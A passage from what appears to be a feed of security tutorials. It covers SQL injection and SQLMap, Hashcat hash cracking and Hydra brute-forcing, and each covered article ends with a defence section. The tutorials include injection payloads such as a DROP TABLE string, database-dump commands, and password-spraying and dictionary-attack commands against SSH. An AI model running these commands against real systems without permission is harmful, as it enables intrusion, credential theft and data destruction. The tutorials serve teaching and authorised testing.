<p>Here are a few scenarios of SQL Injection.</p>
<ul>
<li>An attacker might insert a malicious piece of code into a login form. For example, if the login form expects the user to enter their username and password, the attacker might enter a username like admin’ OR ‘1’=’1. This will always evaluate to true and will allow the attacker to log in without knowing the actual password.</li>
<li>An attacker might insert a malicious piece of code into a search form. For example, if the search form expects the user to enter a keyword, the attacker can enter a keyword like ‘ OR ‘1’=’1. This will return all the records from the database, rather than the ones that match the keyword.</li>
<li>An attacker can insert a malicious piece of code into a form that allows users to update their information. For example, if the form expects the user to enter their phone number, the attacker might enter a phone number like ‘; DROP TABLE users; — ,. This will delete the entire users table from the database.</li>
</ul>
<p>These are just a few examples of SQL injection attacks. There are many other ways that attackers can use these techniques to gain access to a database. Databases that are not updated/maintained regularly will often be vulnerable to SQL injection attacks.</p>
<h2 id="heading-what-is-sql-map">What is SQL Map?</h2>
<p><a target="_blank" href="https://sqlmap.org/">SQLmap</a> is an open-source tool that automatically finds and exploits SQL injection vulnerabilities. We can use it to test web applications for SQL injection vulnerabilities and gain access to a vulnerable database.</p>
<p>SQLmap is a favorite tool among pen-testers for its ease of use and flexibility. It is written in Python and runs on Windows, Linux, and MacOS.</p>
<p>We can use SQLmap to perform a wide range of attacks. This includes database fingerprinting, data extraction, and even taking over an entire database. We can also use it to bypass login forms and execute arbitrary commands on the underlying operating system.</p>
<h2 id="heading-how-to-install-sqlmap">How to Install SQLMap</h2>
<p>SQLMap comes pre-installed in Kali Linux and Parrot OS. To install SQLMap in Ubuntu / Debian-based systems, use the apt package manager.</p>
<pre><code>apt install sqlmap
</code></pre><p>To install SQLMap on Mac, we can use <a target="_blank" href="https://brew.sh/">Homebrew</a>.</p>
<pre><code>brew install sqlmap
</code></pre><p>If you are using other platforms, you can <a target="_blank" href="https://sqlmap.org/">find the installation instructions here</a>.</p>
<p>Once installation is complete, we can check the help menu using the <code>-h</code> command. This will also be a handy reference when working with SQLMap.</p>
<pre><code>sqlmap -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-28.png" alt="Image" width="600" height="400" loading="lazy">
<em>SQLMap help menu</em></p>
<p>SQLMap also provides a detailed help menu. We can access it using the <code>-hh</code> command.</p>
<pre><code>sqlmap -hh
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-29.png" alt="Image" width="600" height="400" loading="lazy">
<em>SQLMap advanced help menu</em></p>
<p>Now that we have installed SQLMap, let's look at how to work with it.</p>
<h2 id="heading-how-to-use-sql-map"><strong>How to Use SQL Map</strong></h2>
<p>SQLMap is a tool used for the automated exploitation of SQL injection vulnerabilities. We can use SQLMap to test websites and databases for vulnerabilities and exploit those vulnerabilities to take over the database.</p>
<p>To use SQLMap, we first need to identify a website or database that is vulnerable to SQL injection. We can either do it manually or use SQLMap to scan the website. Once we have identified a vulnerable website or database, we can use SQLMap to exploit it.</p>
<p>Here is the basic SQLMap command:</p>
<pre><code>$ sqlmap -u [URL] -p [parameter] --dbs
</code></pre><p>This command will tell SQLMap to scan the specified URL and parameter for vulnerabilities. This includes exposing data, updating data, or even dumping the entire database.</p>
<p>The simplest way to check if a website is vulnerable to SQL injection is via query parameters. Let's assume a website lists user information using an id parameter – for example, testsite.com/page.php?id=1.</p>
<p>This can be passed as input to SQLMap and SQLMap will automatically scan the site to see if the database is vulnerable. Here is the command:</p>
<pre><code>sqlmap -u http:<span class="hljs-comment">//testsite.com/page.php?id=1 --dbs</span>
</code></pre><p>The <code>-u</code> flag is used to specify an URL and the <code>--dbs</code> command tells SQLMap to try to enumerate the database.</p>
<p>If the attack is successful, SQLMap will list the database used along with the list of tables.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-30.png" alt="Image" width="600" height="400" loading="lazy">
<em>SQLMap output</em></p>
<p>Once we have gained an initial foothold, we can now work with the database. Here is the command to list the tables in a database.</p>
<pre><code>sqlmap -u https:<span class="hljs-comment">//testsite.com/page.php?id=1 -D &lt;db_name&gt; --tables</span>
</code></pre><p>To list the column in a table, we can use this command:</p>
<pre><code>sqlmap -u https:<span class="hljs-comment">//testsite.com/page.php?id=7 -D &lt;database_name&gt; -T &lt;table_name&gt; --columns</span>
</code></pre><p>To dump an entire database, this is the command:</p>
<pre><code>sqlmap -u https:<span class="hljs-comment">//testsite.com/page.php?id=7 -D &lt;database_name&gt; --dump-all</span>
</code></pre><p>SQLMap provides many other useful commands like setting cookies, cycling user agents, and many others. For more information and a complete list of options, you can <a target="_blank" href="https://github.com/sqlmapproject/sqlmap/wiki/Introduction">refer to the SQLMap documentation</a>.</p>
<h2 id="heading-how-to-defend-against-sql-injection-attacks">How to Defend Against SQL Injection Attacks</h2>
<p>To prevent SQL injection attacks, we should follow these steps:</p>
<h3 id="heading-use-parameterized-queries">Use parameterized queries</h3>
<p>Always use parameterized queries when interacting with a database. This means that we should use placeholders in our SQL statements for any user input. We can then supply the input as a separate parameter when the query is executed. </p>
<p>This will prevent an attacker from being able to inject arbitrary SQL into our SQL statements.</p>
<h3 id="heading-never-trust-user-input">Never trust user input</h3>
<p>We should always check and sanitize any user input to ensure that it is safe. We must make sure the input does not contain any dangerous characters or malicious code. </p>
<p>This will help prevent an attacker from being able to inject SQL queries even if they are able to find a way to bypass our use of parameterized queries.</p>
<h3 id="heading-use-prepared-statements">Use prepared statements</h3>
<p>If the database supports prepared statements, we should use them instead of parameterized queries. </p>
<p>Prepared statements are pre-compiled SQL statements. We can execute these statements multiple times with different parameters. </p>
<p>This will make it more difficult for an attacker to inject malicious code since the prepared statements are pre-compiled.</p>
<h3 id="heading-authentication-and-access-controls">Authentication and access controls</h3>
<p>We should have strong authentication and access controls to our database. This will ensure that only authorized users are able to access our database and protects it from malicious actors.</p>
<h3 id="heading-monitoring-and-alerts">Monitoring and alerts</h3>
<p>Always watch your database for suspicious activity and set alerts. This includes failed login attempts or high numbers of SQL queries. </p>
<p>This can help us detect an SQL injection attack early on, and take appropriate action to stop it.</p>
<h2 id="heading-summary">Summary</h2>
<p>Databases are the backbone of every business. Updating, maintaining, and securing databases is essential to protect them from malicious actors. </p>
<p>SQLmap is a powerful tool that helps us audit database vulnerabilities. It is important for developers and security professionals to be familiar with SQLMap for defending against SQL injection attacks.</p>
<p><em>Loved this article? Join Stealth Security</em> <em><a target="_blank" href="https://stealthsecurity.io/">Weekly Newsletter</a> and get articles delivered to your inbox every Friday. You can also</em> <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/"><em>connect with me</em></a> <em>on Linkedin.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Crack Hashes with Hashcat — a Practical Pentesting Guide ]]>
                </title>
                <description>
                    <![CDATA[ Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing. Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted d... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/hacking-with-hashcat-a-practical-guide/</link>
                <guid isPermaLink="false">66d035cbccf811d3117aeec8</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 08 Dec 2022 15:55:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/12/hashcat-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing.</p>
<p>Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted data can be reversed using a key. This is why applications like Telegram use encryption while passwords are hashed.</p>
<p>In this article, we will look at installing and working with <a target="_blank" href="https://hashcat.net/hashcat/">Hashcat</a>. Hashcat is a simple but powerful command line utility that helps us to – you guessed it – crack hashes.</p>
<p>We will first start by looking at how hashing works in detail.</p>
<blockquote>
<p><em>Note: All my articles are for educational purposes. If you use</em> this information <em>illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</em></p>
</blockquote>
<h2 id="heading-what-is-password-hashing">What is Password Hashing?</h2>
<p>Hashing is the process of converting an alphanumeric string into a fixed-size string by using a hash function. A hash function is a mathematical function that takes in the input string and generates another alphanumeric string.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-14.png" alt="Image" width="600" height="400" loading="lazy">
<em>How hashing works</em></p>
<p>There are many hashing algorithms like MD5, SHA1, and so on. To learn more about different hashing algorithms, <a target="_blank" href="https://www.okta.com/identity-101/hashing-algorithms/#:~:text=A%20hashing%20algorithm%20is%20a,and%20decoded%20by%20anyone%20else.">you can read the article here</a>.</p>
<p>The length of a hash is always a constant, irrespective of the length of the input. For example, if we use the MD5 algorithm and hash two strings like “Password123” and “HelloWorld1234”, the final hash will have a fixed length.</p>
<p>Here is the MD5 hash for “Password123”.</p>
<pre><code><span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
</code></pre><p>If we use the input string as “HelloWorld1234”, this will be the result:</p>
<pre><code><span class="hljs-number">850</span>eaebd5c4bb931dbb2bbcf7994c021
</code></pre><p>Now there is a similar algorithm called encoding. A popular encoding algorithm is base64. Here is how the same “Password123” will look if we encode it with base64:</p>
<pre><code>UGFzc3dvcmQxMjM=
</code></pre><p>So what is the difference between hashing and encoding? When we encode a string, it can be easily decoded to get the source string. But if we hash a string, we can never get to the source string (maybe with quantum computers, but that's another topic for discussion).</p>
<p>Hashing and encoding have different use cases. We can apply encoding to mask/simplify strings while hashing is used to secure sensitive data like passwords.</p>
<p>If hashes are not reversible, how would we compare the strings? Simple – we compare the hashes.</p>
<p>When we signup for a website, they will hash our password before saving it (hopefully!). When we try to log in again, the same hashing algorithm is used to generate a hash for our input. It is then compared with the original hash saved in the database.</p>
<p>This approach is also what gives rise to hashing attacks. A simple way to attack hashes is to have a list of common passwords hashed together. This list is called a <a target="_blank" href="https://en.wikipedia.org/wiki/Rainbow_table">Rainbow table</a>. Interesting name for a table of hashes.</p>
<p>Now that we know how hashing works, let's look at what Hashcat is.</p>
<h2 id="heading-what-is-hashcat">What is Hashcat?</h2>
<p>Hashcat is a fast password recovery tool that helps break complex password hashes. It is a flexible and feature-rich tool that offers many ways of finding passwords from hashes.</p>
<p>Hashcat is also one of the few tools that can work with the GPU. While CPUs are great for sequential tasks, GPUs have powerful parallel processing capabilities. GPUs are used in Gaming, Artificial intelligence, and can also be used to speed up password cracking.</p>
<p>Here is the <a target="_blank" href="https://www.intel.in/content/www/in/en/products/docs/processors/cpu-vs-gpu.html">difference between a CPU and a GPU</a> if you want to learn more.</p>
<p>Other notable features of Hashcat include:</p>
<ul>
<li>Fully open source.</li>
<li>Support for more than 200 hashing algorithms.</li>
<li>Support for Windows, Linux, and Mac.</li>
<li>Support for cracking multiple hashes in parallel.</li>
<li>Built-in benchmarking system.</li>
</ul>
<p>Now that we know what Hashcat is, let's go and install it.</p>
<h2 id="heading-how-to-install-hashcat">How to Install Hashcat</h2>
<p>Hashcat comes pre-installed in Kali and Parrot OS. To install it in Ubuntu / Debian-based systems, use the following command:</p>
<pre><code>$ apt install hashcat
</code></pre><p>To install it on a Mac, you can use <a target="_blank" href="https://brew.sh/">Homebrew</a>. Here is the command:</p>
<pre><code>$ brew install hashcat
</code></pre><p>For other operating systems, a full list of installation instructions can be <a target="_blank" href="https://hashcat.net/hashcat/https://hashcat.net/hashcat/">found here</a>.</p>
<p>Once the installation is done, we can check Hashcat’s help menu using this command:</p>
<pre><code>$ hashcat -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-15.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat help menu</em></p>
<p>In addition to Hashcat, we will also need a wordlist. A word list is a list of commonly used terms. This can be a <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt">password wordlist</a>, <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt">username wordlist</a>, subdomain wordlist, and so on.</p>
<p>A popular password wordlist is <a target="_blank" href="https://github.com/teamstealthsec/wordlists/blob/master/rockyou.txt.gz">rockyou.txt</a>. It contains a list of commonly used passwords and is popular among pen testers. You can find the Rockyou wordlist under /usr/share/wordlists in Kali Linux.</p>
<h2 id="heading-how-to-work-with-hashcat">How to Work with Hashcat</h2>
<p>Now that we know what hashing and Hashcat are, let’s start cracking some passwords.</p>
<p>Before cracking a hash, let's create a couple of hashes to work with. We can use a site like <a target="_blank" href="https://www.browserling.com/tools/all-hashes">Browserling</a> to generate hashes for input strings.</p>
<p>Let’s create two hashes: A MD5 hash and a SHA1 hash for the string “Password123”. I'm using a weak password to help you understand how easy it is to crack these passwords.</p>
<p>Here are the generated hashes for the input strings.</p>
<pre><code>MD5 hash -&gt; <span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
SHA1 hash -&gt; b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1
</code></pre><p>We can store these hashes under the names md5.txt and sha1.txt to use them when working with Hashcat.</p>
<p>To crack a password using Hashcat, here is the general syntax.</p>
<pre><code>$ hashcat -m value -a value hashfile wordlist
</code></pre><p>Let’s dissect the syntax. We have used two flags, <code>-m</code> and <code>-a</code> . The <code>-m</code> flag is used to specify the hash type and the <code>-a</code> flag is to specify the attack mode. You can find the <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=hashcat">list of hash types and attack modes here</a>.</p>
<p>Let’s crack our md5 hash first. We will crack this hash using the Dictionary mode. This is a simple attack where we provide a list of words (RockYou) from which Hashcat will generate and compare hashes.</p>
<p>We can specify the hash mode as “md5” using the value 0. But Hashcat can also identify the hash type automatically for common hash algorithms.</p>
<p>For the attack mode, we will be using the dictionary mode (0) using the flag <code>-a</code>. Here is the full command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">0</span> -a <span class="hljs-number">0</span> md5.txt rockyou.txt
</code></pre><p>Hashcat will quickly find the value for the hash, in this case, “Password123”:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-16.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat MD5 crack</em></p>
<p>Looks simple, doesn't it? Now let’s crack our SHA hash. The hash mode value for SHA1 is 100. Here is the command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">100</span> -a <span class="hljs-number">0</span> sha1.txt rockyou.txt
</code></pre><p>And here is the output from Hashcat:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-17.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat SHA1 crack</em></p>
<p>Hashcat supports almost all hashing algorithms with various attack modes. Let's look at a few attack modes and see how they work.</p>
<h3 id="heading-dictionary-attack-a-0">Dictionary attack (-a 0)</h3>
<p>As we saw in our example above, a dictionary attack is performed by using a wordlist. A dictionary attack is also the default option in Hashcat. The better the wordlist is, the greater the chances of cracking the password.</p>
<h3 id="heading-combinator-attack-a-1">Combinator attack (-a 1)</h3>
<p>The combinator attack will try different combinations of words from our wordlist. For example, if our wordlist contains the words “pass”, ”123", and ”hello”, Hashcat will generate the following wordlist.</p>
<pre><code>passpass
pass123
passhello
<span class="hljs-number">123</span>pass
<span class="hljs-number">123123</span>
<span class="hljs-number">123</span>hello
hellopass
hello123
hellohello
</code></pre><p>As you can see, using a simple wordlist can give us a number of combinations. This attack is great if we know some terms that might be used in the password. Keep in mind that, the larger the initial wordlist, the more complicated the final wordlist gets.</p>
<h3 id="heading-mask-attack-a-3">Mask attack (-a 3)</h3>
<p>The mask attack is similar to the dictionary attack, but it is more specific. Brute-force approaches like dictionary attacks can take a long time to crack a password. But if we have information regarding the password, we can use that to speed up the time it takes to crack the password.</p>
<p>For example, if we know the length of the password and a few characters that might be in the password, we can generate a custom wordlist with those characters.</p>
<p>The mask attack is out of scope for this article, but you can <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=mask_attackhttps://hashcat.net/wiki/doku.php?id=mask_attack">learn more about mask attacks here</a>.</p>
<p>In addition to these common attack types, there are more attack modes in Hashcat. This includes Hybrid mode, Permutation attack, Rule-based attack, and so on. Each of these modes can be used for specific use cases and to speed up password cracking.</p>
<h2 id="heading-how-to-defend-against-hashcat">How to Defend Against Hashcat</h2>
<p>The first and obvious step is to set strong passwords. The stronger the password is, the harder it is to crack it. You can check if your password has been <a target="_blank" href="https://haveibeenpwned.com/">exposed to the internet here</a>.</p>
<p>A more effective way is to <a target="_blank" href="https://www.freecodecamp.org/news/why-a-little-salt-can-be-great-for-your-passwords/">add salts to password hashes</a>. A salt is an additional string added to the existing password so the hash generated is different from the normal hash of a string.</p>
<p>For example, if a string “sdf909” is added to a password “Password123”, Rainbow table attacks will immediately fail since they don't have hashes with the salt added to them.</p>
<p>To crack a salted password, the attacker should know both the hash and salt values. This makes it harder to crack hashes using methods such as Rainbow tables.</p>
<p>We can further strengthen salting by using dynamic salts instead of static salts. We can write a function that generates a salt value for every string making it exponentially harder to crack a salted password.</p>
<p>You can <a target="_blank" href="https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/">read this article</a> to learn more about how Salts work in password hashing.</p>
<h2 id="heading-summary">Summary</h2>
<p>Hashing is the method of using a mathematical function to generate a random string. It is a one-way function and helps to secure data such as user passwords.</p>
<p>Hashcat is a powerful tool that helps to crack password hashes. Hashcat supports most hashing algorithms and can work with a variety of attack modes. </p>
<p>To enforce security and protect hashes from attacks, use strong passwords and salts before hashing passwords.</p>
<p><em>Loved this article? Join</em> <a target="_blank" href="https://tinyletter.com/stealthsecurity"><em>Stealth Security Weekly Newsletter</em></a> <em>and get articles delivered to your inbox every Friday. You can also</em> <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/"><em>connect with me</em></a> <em>on Linkedin.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Hydra  to Hack Passwords – Penetration Testing Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ Hydra is a brute-forcing tool that helps penetration testers and ethical hackers crack the passwords of network services.  Hydra can perform rapid dictionary attacks against more than 50 protocols. This includes telnet, FTP, HTTP, HTTPS, SMB, databas... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-hydra-pentesting-tutorial/</link>
                <guid isPermaLink="false">66d035f112c679876b0602e0</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 18 Nov 2022 17:28:29 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/11/Stealth-Security---Blog-Banner--4-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hydra is a brute-forcing tool that helps penetration testers and ethical hackers crack the passwords of network services. </p>
<p>Hydra can perform rapid dictionary attacks against more than 50 protocols. This includes telnet, FTP, HTTP, HTTPS, SMB, databases, and several other services.</p>
<p>Hydra was developed by the hacker group “<a target="_blank" href="https://www.thc.org/">The Hacker’s Choice</a>”. Hydra was first released in 2000 as a proof of concept tool that demonstrated how you can perform attacks on network logon services.</p>
<p>Hydra is also a parallelized login cracker. This means you can have more than one connection in parallel. Unlike in sequential brute-forcing, this reduces the time required to crack a password.</p>
<p><a target="_blank" href="https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/">In my last article</a>, I explained another brute-force tool called <a target="_blank" href="https://stealthsecurity.io/cracking-passwords-using-john-the-ripper-977943d7ab38">John the Ripper</a>. Though John and Hydra are brute-force tools, John works offline while Hydra works online.</p>
<p>In this article, we will look at how Hydra works followed by a few real-world use cases.</p>
<blockquote>
<p><em>Note: All my articles are for educational purposes. If you use it illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</em></p>
</blockquote>
<h1 id="heading-how-to-install-hydra">How to Install Hydra</h1>
<p>Hydra comes pre-installed with Kali Linux and Parrot OS. So if you are using one of them, you can start working with Hydra right away.</p>
<p>On Ubuntu, you can use the apt package manager to install it:</p>
<pre><code>$ apt install hydra
</code></pre><p>In Mac, you can find Hydra under Homebrew:</p>
<pre><code>$ brew install hydra
</code></pre><p>If you are using Windows, I would recommend using a virtual box and installing Linux. Personally, I don't recommend using Windows if you want to be a professional penetration tester.</p>
<h1 id="heading-how-to-work-with-hydra">How to Work with Hydra</h1>
<p>Let’s look at how to work with Hydra. We will go through the common formats and options that Hydra provides for brute-forcing usernames and passwords. This includes single username/password attacks, password spraying, and dictionary attacks.</p>
<p>If you have installed Hydra, you can start with the help command like this:</p>
<pre><code>$ hydra -h
</code></pre><p>This will give you the list of flags and options that you can use as a reference when working with Hydra.</p>
<p><img src="https://miro.medium.com/max/1400/1*8vU8A1khpqIpOElesAkl4A.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra help command</em></p>
<h2 id="heading-how-to-perform-a-single-usernamepassword-attack-with-hydra"><strong>How to Perform a Single Username/Password Attack with Hydra</strong></h2>
<p>Let’s start with a simple attack. If we have the username and password that we expect a system to have, we can use Hydra to test it.</p>
<p>Here is the syntax:</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;server&gt; &lt;service&gt;
</code></pre><p>Let’s assume we have a user named “molly” with a password of “butterfly” hosted at 10.10.137.76. Here is how we can use Hydra to test the credentials for SSH:</p>
<pre><code>$ hydra -l molly -p butterfly <span class="hljs-number">10.10</span><span class="hljs-number">.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>If it works, here is what the result will look like:</p>
<p><img src="https://miro.medium.com/max/1400/1*8aNN3Hnbfd-ZqbqFUlfm3A.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra single username and password</em></p>
<h2 id="heading-how-to-perform-a-password-spraying-attack-with-hydra"><strong>How to Perform a Password Spraying Attack with Hydra</strong></h2>
<p>What if we know a password that someone is using, but we are not sure who it is? We can use a password spray attack to determine the username.</p>
<p>A password spray attack is where we use a single password and run it against a number of users. If someone is using the password, Hydra will find the match for us.</p>
<p>This attack assumes we know a list of users in the system. For this example, we will create a file called users.txt with the following users:</p>
<pre><code>root
admin
user
molly
steve
richard
</code></pre><p>Now we are going to test who has the password “butterfly”. Here is how we can run a password spray attack using Hydra.</p>
<pre><code>$ hydra -L users.txt -p butterfly <span class="hljs-number">10.10</span><span class="hljs-number">.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>We will get a similar result to the following output if any of the users match with the given password. You should also notice that we have used the flag -L instead of -l. -l is for a single username and -L is for a list of usernames.</p>
<p><img src="https://miro.medium.com/max/1400/1*2ASFNBpuONPVC-YabYaDMQ.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra password spraying</em></p>
<h2 id="heading-how-to-perform-a-dictionary-attack-with-hydra"><strong>How to Perform a Dictionary Attack with Hydra</strong></h2>
<p>Let’s look at how to perform a dictionary attack. In real-world scenarios, this is what we will be using Hydra regularly for.</p>
<p>A dictionary attack is where we have single/multiple usernames and we provide a password wordlist to Hydra. Hydra then tests all these passwords against every user in the list.</p>
<p>I am going to use the <a target="_blank" href="https://github.com/teamstealthsec/wordlists">Rockyou wordlist</a> for this example along with the users.txt file we created in the previous attack. If you are using Kali Linux, you can find the RockYou wordlist under /usr/share/wordlists/rockyou.txt.</p>
<p>Here is the command for a dictionary attack:</p>
<pre><code>$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <span class="hljs-number">1010.137</span><span class="hljs-number">.76</span> ssh
</code></pre><p>If this attack is successful, we will see a similar result to the other two commands. Hydra will highlight the successful username/password combinations in green for all the matches.</p>
<h2 id="heading-how-to-use-the-verbosity-and-debugging-flags-in-hydra"><strong>How to Use the Verbosity and Debugging Flags in Hydra</strong></h2>
<p>Hydra can be awfully quiet when running large brute-force attacks. If we have to make sure Hydra is doing what it is expected to do, there are two flags we can use.</p>
<p>The verbosity (-v) flag will show us the login attempt for each username/password combination. This can be a bit much when there are a lot of combinations to go through, but if it is something you need, we can use the verbosity flag.</p>
<p>Here is a sample result. We can see that Hydra prints information about failed attempts in addition to the successful matches.</p>
<p><img src="https://miro.medium.com/max/1400/1*CRsDQ3dMnDyvx-D1X_QKug.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra verbose mode</em></p>
<p>We can also use the debug (-d) flag to gather even more information. Here is the same result when using the debug flag:</p>
<p><img src="https://miro.medium.com/max/1400/1*xKUdCTic-qF2lVc9Q4w9LA.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hydra debug mode</em></p>
<p>We can see that Hydra prints way more information than we need. We will only use debug mode rarely, but it is good to know that we have the option to watch every action Hydra takes when brute-forcing a service.</p>
<h2 id="heading-how-to-save-your-results-in-hydra"><strong>How to Save Your Results in Hydra</strong></h2>
<p>Let's look at how to save results. There is no point in spending hours cracking a password and losing it due to a system crash.</p>
<p>We can use the -o flag and specify a file name to save the result. Here is the syntax.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;ip&gt; &lt;service&gt; -o &lt;file.txt&gt;
</code></pre><h3 id="heading-more-flags-and-formats">More flags and formats</h3>
<p>Hydra also offers a few additional flags and formats that will be useful for us as pen testers. Here are a few:</p>
<h4 id="heading-service-specification">Service specification</h4>
<p>Instead of specifying the service separately, we can use it with the IP address. For example, to brute force SSH, we can use the following command:</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; ssh:<span class="hljs-comment">//&lt;ip&gt;</span>
</code></pre><h4 id="heading-how-to-resume-attacks">How to resume attacks</h4>
<p>If Hydra’s session exits when an attack is in progress, we can resume the attack using the -R flag instead of starting from scratch.</p>
<pre><code>$ hydra -R
</code></pre><h4 id="heading-how-to-use-custom-ports">How to use custom ports</h4>
<p>Sometimes system administrators will change the default ports for service. For example, FTP can run in port 3000 instead of its default port 21. In those cases, we can specify ports using the -s flag.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; &lt;ip&gt; &lt;service&gt; -s &lt;port&gt;
</code></pre><h4 id="heading-how-to-attack-multiple-hosts">How to attack multiple hosts</h4>
<p>What if we have multiple hosts to attack? Easy, we can use the -M flag. The files.txt will contain a list of IP addresses or hosts instead of a single IP address.</p>
<pre><code>$ hydra -l &lt;username&gt; -p &lt;password&gt; -M &lt;host_file.txt&gt; <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">service</span>&gt;</span></span>
</code></pre><h4 id="heading-targeted-combinations">Targeted combinations</h4>
<p>If we have a list of usernames and passwords, we can implement a dictionary attack. But if we have more information on which usernames are likely to have a set of passwords, we can prepare a custom list for Hydra.</p>
<p>For example, we can create a list of usernames and passwords separated by semicolons like the one below.</p>
<pre><code>username1:password1
<span class="hljs-attr">username2</span>:password2
<span class="hljs-attr">username3</span>:password3
</code></pre><p>We can then use the -C flag to tell Hydra to run these specific combinations instead of looping through all the users and passwords. This drastically reduces the time taken to complete a brute-force attack.</p>
<p>Here is the syntax.</p>
<pre><code>$ hydra -C &lt;combinations.txt&gt; &lt;ip&gt; &lt;service&gt;
</code></pre><p>We have seen how to work with Hydra in detail. Now you should be ready to perform real-world audits of network services like FTP, SSH, and Telnet.</p>
<p>But as a pen-tester, it is important to understand how to defend against these attacks. Remember, we are the good actors 😎.</p>
<h1 id="heading-how-to-defend-against-hydra">How to Defend Against Hydra</h1>
<p>The clear solution to help you defend against brute-force attacks is to set strong passwords. The stronger a password is, the harder it is to apply brute-force techniques.</p>
<p>We can also enforce password policies to change passwords every few weeks. Unfortunately, many individuals and businesses use the same passwords for years. This makes them easy targets for brute-force attacks.</p>
<p>Another way to prevent network-based brute-forcing is to limit authorization attempts. Brute-force attacks do not work if we lock accounts after a few failed login attempts. This is common in apps like Google and Facebook that lock your account if you fail a few login attempts.</p>
<p>Finally, tools like re-captcha can be a great way to prevent brute-force attacks. Automation tools like Hydra cannot solve captchas like a real human being.</p>
<h1 id="heading-summary">Summary</h1>
<p>Hydra is a fast and flexible network brute-forcing tool to attack services like SSH, and FTP. With a modular architecture and support for parallelization, Hydra can be extended to include new protocols and services easily. </p>
<p>Hydra is undoubtedly a powerful tool to have in your pen-testing toolkit.</p>
<p>Hope this article helped you to understand how Hydra works. If you have any questions, let me know in the comments. </p>
<p>You can <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/">connect with me</a> or signup for the <a target="_blank" href="https://tinyletter.com/stealthsecurity">Stealth Security Newsletter</a>. If you really enjoyed the article, you can <a target="_blank" href="https://www.buymeacoffee.com/manishmshiva">buy me a coffee here</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Crack Passwords using John The Ripper – Pentesting Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ If you are a pen-tester, cracking passwords is something you will be doing on a daily basis. This can include login passwords, file passwords, and almost anything that is protected using a password. John the Ripper (JtR) is a popular password-crackin... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/</link>
                <guid isPermaLink="false">66d035b72b211a17e00e36d5</guid>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
